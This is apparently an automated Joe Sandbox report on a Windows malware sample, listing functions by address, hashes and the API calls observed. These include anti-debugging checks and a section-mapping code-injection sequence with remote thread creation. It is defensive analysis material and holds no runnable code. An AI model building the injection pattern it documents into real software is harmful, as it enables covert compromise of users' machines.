Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_220000_EkXH.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: a1368690eb1bf0129f82696e878bee6ebb4af28ed6ea8f51c4a445d236bbdf64
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 9E319DB2910219DFDB10CF88D880AADBBF5FF08724F14404AD401A7312C3B0EA94CFA4

Function 0040332A Relevance: 3.1, APIs: 2, Instructions: 139sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(003FD056,00000199,00002EEF), ref: 00403324
NtQueryInformationProcess.NTDLL(00401849,0040184D), ref: 00403390

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: InformationProcessQuerySleep
String ID:
API String ID: 1755194290-0
Opcode ID: b8994af0357dffb864cba80c531728fcc33417444cd84a2fde152427c3d87875
Instruction ID: b75b62001eae888a98cc4b5e6a3bdcfa433965c6df7774739083067f19da6379
Opcode Fuzzy Hash: b8994af0357dffb864cba80c531728fcc33417444cd84a2fde152427c3d87875
Instruction Fuzzy Hash: 0F41112040D6C18FC7128F3489A26A67F68FD1371271841EFD881AE7E2C6399B07D35A

Function 004020EA Relevance: 1.7, APIs: 1, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18f97d7e3c198c930df0e1e3726df986428e5bed6b78be6737e9bf24f670245c
Instruction ID: 1fe14f3d08a5ad6b2b8af3127fa4f425e7ffb0c359c280517f11db711c116789
Opcode Fuzzy Hash: 18f97d7e3c198c930df0e1e3726df986428e5bed6b78be6737e9bf24f670245c
Instruction Fuzzy Hash: 0A716C32400264DADB28EFBCC6CAE557370FB02F00B550BB6C5812F58ADB75B6198B96

Function 0066BBF4 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.406664461.0000000000669000.00000040.00000020.00020000.00000000.sdmp, Offset: 00669000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_669000_EkXH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 084209fc7df0b4d5b0943857c66b98c1aa3b9ce9f2befbe691522d2c842848ed
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 3A113C72340100EFD754DF59DC91FA673EAEB89320B298069E905CB316EB76E952C760

Function 00402379 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c91299fc0d5ea6405d973304b2732cfb05cef970dc5b42c380558f1c3c8a50
Instruction ID: e7a2f1e1f2d18035c496875c0c2bba996cc0d18765e75913e3c7fd8bcbe23822
Opcode Fuzzy Hash: 14c91299fc0d5ea6405d973304b2732cfb05cef970dc5b42c380558f1c3c8a50
Instruction Fuzzy Hash: CA11533600420ADFD715EE219A89AA9BB21FB45704B5400BADE562B0C2A2BD7123970B

Function 0040237B Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ecd1a4c209d5f5235aa5223a66586c749e58f70271c2d5c11b30b858281451a
Instruction ID: d9f06ca26037506423ecc87bc330270b3b45d0e2ffab50e6a8e269eb556b0e13
Opcode Fuzzy Hash: 5ecd1a4c209d5f5235aa5223a66586c749e58f70271c2d5c11b30b858281451a
Instruction Fuzzy Hash: 7411533640820ADFD715EE21AA89AA6BB31FB45704F5400BBDE562B0C1E2BD7123D74B

Function 00402387 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c29bc3172a4a75054b17bc2abf467eb46d0d52112e2b03bc1234d3f1f3eeaba
Instruction ID: 8ab6e973ac2bde56534b905b9a6112487ad567182bc04a9cefd4a17b3c0f3d42
Opcode Fuzzy Hash: 2c29bc3172a4a75054b17bc2abf467eb46d0d52112e2b03bc1234d3f1f3eeaba
Instruction Fuzzy Hash: A6113636504206CFDB15DF20D9895A8B722FB45704B1400BACE522B0C1E37D7113D70B

Function 00402397 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2fb1fcd810030a7c701492efe6b1583806f24c29ad391e8378491e72e53c4f9
Instruction ID: 10c1f8c9815bd1bae344db256f26ecf9b321a2c49f9f40fa9571263b21f216dd
Opcode Fuzzy Hash: c2fb1fcd810030a7c701492efe6b1583806f24c29ad391e8378491e72e53c4f9
Instruction Fuzzy Hash: 17113636404206CFD715DF10AA895A8B721BB55704B14007ACE521B0C1A3BD6113970B

Function 0040239B Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad580f4852e8641318215a16f7c63f70c318642c86c98d9f634171b4294914d4
Instruction ID: f3401649f1529dc56ca8e0e6371485d35b9042d0b2056da4c8f47593e1f5965b
Opcode Fuzzy Hash: ad580f4852e8641318215a16f7c63f70c318642c86c98d9f634171b4294914d4
Instruction Fuzzy Hash: 7701263644420ACFDB1AEF11E9896E8B732FB55704B5401BACE565B0C1E37D6113D70B

Function 0040239E Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d17a2e63e4f1915686b689582fba0273351ae16582c8cdc9572b60fe9b5c197
Instruction ID: ab8b863e00b9434e1dbf8970a3beebb42fa128e0550c32edf730788d57ebd560
Opcode Fuzzy Hash: 0d17a2e63e4f1915686b689582fba0273351ae16582c8cdc9572b60fe9b5c197
Instruction Fuzzy Hash: 1001263640434ACFCB16EF11E9895E4BB32BF45708B4801A6CE565B092E3793122D70B

Function 00220D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.406577078.0000000000220000.00000040.00001000.00020000.00000000.sdmp, Offset: 00220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_220000_EkXH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: f41f70d4de0e9ea93270b67a425b979dda617f3a5c679f025cc64dfca50b111f
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 0B012B766116109FDF21CFA0E884FAA33F9FB86305F0544B4D906D7243E770A841CB80

Function 004189D0 Relevance: 6.0, APIs: 4, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00418A04
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418A1F
HeapCreate.KERNEL32(00000000,00000000,00000000), ref: 00418A42
GetNumaProcessorNode.KERNEL32(?,00000000), ref: 00418A51

Memory Dump Source

Source File: 00000004.00000002.406611305.000000000040B000.00000020.00000001.01000000.0000000B.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40b000_EkXH.jbxd

Similarity

API ID: CreateDeviceEnvironmentFreeHeapNodeNumaProcessorQueryStrings
String ID:
API String ID: 2776817195-0
Opcode ID: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction ID: bd9cb2cda3ccdbb603686fa1a54157cb247b1e4b5f6e470ed3bcac1d3601a900
Opcode Fuzzy Hash: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction Fuzzy Hash: ED018474A402049BD760EB64EC55BE937B8FB1C755F00807BFA05A72D0DE746E88CB9A

Function 00418950 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

BuildCommDCBA.KERNEL32(00000000,?), ref: 00418964
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418976

Strings

-, xrefs: 004189AF

Memory Dump Source

Source File: 00000004.00000002.406611305.000000000040B000.00000020.00000001.01000000.0000000B.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40b000_EkXH.jbxd

Similarity

API ID: BuildCommEnvironmentFreeStrings
String ID: -
API String ID: 2991353152-2547889144
Opcode ID: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction ID: b4672369b185086f5e4321c569724b1a241b362aa46ae39454cd2dcc54bfc028
Opcode Fuzzy Hash: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction Fuzzy Hash: 2DF0FCB18242449ADB119BA5DD807FE7B68E709330F51422EED0466240CB794EC59797

Analysis Process: vgjfftuPID: 3988, Parent PID: 3956COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	18.1%
Signature Coverage:	0%
Total number of Nodes:	171
Total number of Limit Nodes:	6

Executed Functions

Function 00418A70 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 321
filewindowlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418B8B
GetFocus.USER32 ref: 00418B91
ReadConsoleA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00418B9E
FindAtomA.KERNEL32(00000000), ref: 00418BA5
SearchPathA.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BBD
SetConsoleMode.KERNEL32(00000000,00000000), ref: 00418BC5
SearchPathW.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BDD
GetDefaultCommConfigA.KERNEL32(00000000,?,00000000), ref: 00418C04
CopyFileExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C10
CreatePipe.KERNEL32(?,00000000,00000000,00000000), ref: 00418C26
GetEnvironmentStringsW.KERNEL32 ref: 00418C2C
WriteConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 00418C71
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00418C80
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 00418C89
ObjectPrivilegeAuditAlarmW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C9E
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00418CAF
SetCommState.KERNEL32(00000000,00000000), ref: 00418CD8
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00418D09
GetComputerNameA.KERNEL32(?,?), ref: 00418D1D
CopyFileW.KERNEL32(0041A3AC,0041A380,00000000), ref: 00418D2E
GetFileAttributesA.KERNEL32(00000000), ref: 00418D35
GetConsoleAliasExesLengthW.KERNEL32 ref: 00418D3B
GetBinaryType.KERNEL32(0041A3C8,?), ref: 00418D4D
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00418D60
GetLongPathNameA.KERNEL32(0041A3E4,?,00000000), ref: 00418D73
PurgeComm.KERNEL32(00000000,00000000), ref: 00418D7B
LoadLibraryA.KERNEL32(0041A3EC), ref: 00418DF2
MoveFileW.KERNEL32(00000000,00000000), ref: 00418E27
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418E4E

Strings

k`, xrefs: 00418E2D
}$, xrefs: 00418E55

Memory Dump Source

Source File: 00000008.00000002.476519911.000000000040B000.00000020.00000001.01000000.0000000C.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_40b000_vgjfftu.jbxd

Similarity

API ID: ConsoleFile$CommNamePath$CompareCopyExchangeInterlockedLengthObjectSearch$AdjustmentAlarmAliasAliasesAtomAttributesAuditBinaryComputerConfigCreateDefaultEnvironmentExesFindFocusFormatLibraryLoadLongMessageModeModuleMoveOutputPipePrivilegePurgeReadSingleStateStringsSystemTimeTypeWaitWrite
String ID: k`$}$
API String ID: 2220722107-956986773
Opcode ID: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction ID: 0c0e40555d578e92a9f225f047ccd42c64e3c90cdaccad76b264c498dc6ec0a1
Opcode Fuzzy Hash: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction Fuzzy Hash: 9FB1A0B1901224ABCB219B65EC58EDF7B78EF49350F00816EF649A3150DB785EC4CFA9

Function 004014DB Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 243
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634

Strings

1, xrefs: 004014F1

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 1
API String ID: 1652636561-2212294583
Opcode ID: fc9ad0c17474763d406ce3553705aad449b4f49c1046925f20dec018cbeb3551
Instruction ID: 7f4d7c4657737381e02ab4131f106e217a3bc84f51a1891dc43a423f49ad99c1
Opcode Fuzzy Hash: fc9ad0c17474763d406ce3553705aad449b4f49c1046925f20dec018cbeb3551
Instruction Fuzzy Hash: 14718D71A00205FFEB209F91CC49FEF7BB8EF85B10F14412AF912BA2E5D6759905CA58

Function 00401529 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction ID: 138ec7ca1e8744eb65f40bd9736a53a73cefe8eecd72c79945fcbf62a21b6401
Opcode Fuzzy Hash: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction Fuzzy Hash: D9616E71900205FBEB209F95DC49FEB7BB8FF81B00F14412AFA12BA1E4D6749A05DB65

Function 00401534 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
Instruction ID: 46ca3ae5353e1b2bf85c7e7487c0bf4a09c0837efea8bedcf4105f5ea6450319
Opcode Fuzzy Hash: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
Instruction Fuzzy Hash: 81512971900245BFEF209F91CC48FEB7BB8EF85B00F14416AF912BA1A5D6749945CB24

Function 00401541 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction ID: 68c08b8250816e380b35483fe5a52fcf5a4ffa7bf922b91d474b11e8be87ed95
Opcode Fuzzy Hash: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction Fuzzy Hash: 99512AB1900205BFEF209F95CC48FEB7BB8EF85B10F14412AFA12BA1E5D6749945CB24

Function 00401545 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction ID: b5c9534ba5f5358dff2a074a80b826bd55324152c05987841a878028393b6fdb
Opcode Fuzzy Hash: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction Fuzzy Hash: 94513AB1900245BFEF209F95CC48FEF7BB8EF85B00F14415AF911BA2A5D6749945CB24

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction ID: 8d6641cc39e0a23de402a6cd7af9a8bcce9404ceaedab19c941a5a8b34b5f284
Opcode Fuzzy Hash: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction Fuzzy Hash: 8C5119B1900205BFEF209F95CC48FEFBBB8EF85B00F14411AFA11AA2A5D6759945CB24

Function 00402FFA Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403122
NtTerminateProcess.NTDLL ref: 00403133

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction ID: 67905ead67b615cb9fd2ac39997d468ff33d28dd355ca5d175fe45067cf906e9
Opcode Fuzzy Hash: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction Fuzzy Hash: 8B414732618E0C4FD778EE6CA88966377D5E798351B1643AAD809D3389EE30D85183C5

Function 0022003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0022024D

Strings

kernel32.dll, xrefs: 0022008F, 00220095
cess, xrefs: 0022018D

Memory Dump Source

Source File: 00000008.00000002.472086421.0000000000220000.00000040.00001000.00020000.00000000.sdmp, Offset: 00220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_vgjfftu.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 63008dc5455b26ae5173438af7152297074d919cf4c282978a0906f11fd1f4e8
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 07526B74A11229DFDB64CF98D984BA8BBB1BF09304F1480D9E50DAB352DB30AE95DF14

Function 00418770 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00513D70), ref: 0041884F
GetProcAddress.KERNEL32(00000000,0041E298), ref: 0041888C
VirtualProtect.KERNELBASE(00513BB4,00513D6C,00000040,?), ref: 004188AB

Strings

, xrefs: 004187B5

Memory Dump Source

Source File: 00000008.00000002.476519911.000000000040B000.00000020.00000001.01000000.0000000C.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_40b000_vgjfftu.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-3916222277
Opcode ID: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction ID: 2b977b853b8716191c274d39b2deee1532fc6552ce3022b0d9a41b083186e0cb
Opcode Fuzzy Hash: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction Fuzzy Hash: D8316F18508780CAE301DB79FC257823F6AAB75744F04D0ACD54C8B3B1D7BA5618E36E

Function 0099BEF7 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0099BF1F
Module32First.KERNEL32(00000000,00000224), ref: 0099BF3F

Memory Dump Source

Source File: 00000008.00000002.476562400.0000000000999000.00000040.00000020.00020000.00000000.sdmp, Offset: 00999000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_999000_vgjfftu.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 5152e06474cd0cc833f8ea3f5c46b06ccb2a89ecc12db894e46da2d6992c724c
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 27F06D36200711ABDB203BF9AD8DF6AB6ECAF49764F140968E642D15C0DB78EC454A61

Function 00220E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00220223,?,?), ref: 00220E19
SetErrorMode.KERNELBASE(00000000,?,?,00220223,?,?), ref: 00220E1E

Memory Dump Source

Source File: 00000008.00000002.472086421.0000000000220000.00000040.00001000.00020000.00000000.sdmp, Offset: 00220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_vgjfftu.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f23233c31a1da53253dfcacb42dea6b2ddc5ffc9e64891eed547aff6082d6eb8
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 1DD0123114512877D7002ED4DC09BCD7B1CDF09B62F008411FB0DD9081C7B0994046E5

